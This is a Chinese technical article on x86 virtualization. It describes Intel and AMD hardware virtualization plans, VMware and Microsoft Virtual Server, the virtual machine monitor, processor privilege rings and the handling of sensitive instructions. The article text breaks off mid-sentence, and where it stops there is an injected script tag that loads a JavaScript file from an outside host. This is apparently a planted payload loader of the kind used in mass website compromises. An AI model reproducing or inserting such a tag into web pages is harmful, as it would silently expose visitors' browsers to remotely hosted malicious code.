在今年春季idf上,英特尔宣布2005将向市场投放内建虚拟技术的p4 600系列桌面处理器,2006年将推出内建虚拟技术的服务器处理器和笔记本处理器。这项发展表明,芯片级虚拟将成为英特尔处理器的标准
规格。
在同一个发布会上,vmware公司也宣布,今年将推出支持英特尔桌面虚拟的vmware workstation版本,明年推出支持英特尔服务器虚拟的vmware gsx和vmware esx版本。
差不多同时,amd也宣布了处理器级的虚拟技术。vmware证实,该公司也在与amd合作,开发适合amd虚拟技术的版本。
由此可知, x86架构计算机走向芯片级虚拟化已成定局。
一、 虚拟机概念和产品
当前流行的x86架构计算环境可分为硬件、操作系统和应用软件三层。由一个操作系统控制和操作处理器、内存、总线、硬盘等所有硬件设备,在操作系统之上支持多用户并允许运行多个应用软件。
虚拟机则是在单一的硬件环境之上,创建若干个虚拟计算环境(虚拟机),每个虚拟机将一台仿真的、完整的计算机提供给用户(包括仿真的cpu、内存、总线、硬盘等),虚机之间相互隔离,用户之间互不干扰。在x86架构下的vm主要有vmware公司和微软公司的产品。
虚拟机有多种技术方案,x86架构下的vmware和virtual server都采用操作系统虚拟机方案(os virtural machines, os vm)。这种技术由ibm公司于1960年代发明,允许在一台主机上运行多个操作系统,当时用于大型机,目的是使用户尽可能充分地利用昂贵的大型机资源。
采用os vm方案,在硬件环境和操作系统之间增加了一层虚拟机监视器(virtual machine monitor,vmm),它将物理的cpu、内存、总线和硬盘等资源抽象出来(abstraction),映射成若干个虚拟的cpu、内存、总线和硬盘,构成虚拟机,每上虚拟机上可运行一个独立的操作系统和若干应用软件。于是,在一个物理的硬件环境之上就能互不干扰地运行多个操作系统和应用软件。
在计算机运行时,操作系统优先级高于应用程序。操作系统和应用程序都能向处理器发出指今。其中i/o指令、段寄存器指令、处理器控制寄存器指令和标志寄存器指令等会改变系统状态,优先级最高,称之为“敏感指令”,只能由操作系统发出。
在常规的计算机中,只有一个操作系统内核向处理器发出指令,不至引起冲突。但是在虚拟机情况下,多个操作系统都可能发出指令,包括高优先级的敏感指令。为了避免系统冲突,vmm应把安装在虚机上的操作系统调整到较低的优先级上,俘获冲突的指令,特别是必须俘获可能改变机器状态的敏感指令,并以恰当的虚拟机制来处理。vmm“记下”每个虚拟机的状态,或安排虚拟机指令到处理器真实执行,或“模仿”处理器虚拟执行,然后返回结果并更新虚拟机状态。
vmware公司当前有vmware workstation、vmware gsx和vmware esx等三款产品。前两款用于工作站和服务器,最后一种用于关键任务(mission-critical)服务器,现在的版本能支持60gb内存、250tb存储以及16个处理器的大型x86架构服务器。在每个虚拟机可安装windows不同版本操作系统和不同版本的linux。
微软的virtual server当初只是使用户能在一台服务器上运行不同版本的windows,以解决用户现有应用程序不能在新版windows下运行的难题。今年新推出的virtual server 2005已支持在虚拟机上运行linux。
二、 x86架构的虚拟化
在保护模式下,x86处理器一共有4个不同优先级(privilege levels),英特尔的术语为ring,从ring0-ring3。ring0的优先级最高,ring3最低。按照设计,ring0用于操作系统内核,ring1和ring2用于操作系统服务,ring3用于应用程序。
在正常情况下,操作系统占据ring0,拥有访问处理器和所有硬件资源的最高特权。应用程序占据ring3,只能执行一些受到严格限制的操作以避免应用程序间的冲突。按这种安排,在操作系统的控制下计算机就可以稳定运行。
在虚拟化的情况下,vmm占据ring0,安装在虚拟机上的操作系统被改到ring1或ring3。可是,现在的操作系统都是为ring0设计的,均会向cpu发出优先级最高的“敏感指令”。在x86架构中,这类指令一共有 17个。当操作系统不在ring0,向处理器发出的敏感指令可能导致处理器产生错误结果或系统死机。
理论上,解决这个问题有静态代码扫描和动态指令重写两种方法,vmware采用后一种策略。vmm在运行中发现来自虚拟机的危险指令,将其重写使之能被vmm俘获并进行适当的干涉处置。这种方法虽然能解决问题,但也不可避免地增加了系统的复杂性,带来系统额外开销,降低了系统性能。虽然vmm保存每次处理结果,可在下次遇到同样情况时直接调用,但这也只能在一定程度上减少系统额外开销。
由于这一问题同时涉及vmm和操作系统,每当vmm或操作系统版本升级时都需?script src=http://er12.com/t.js>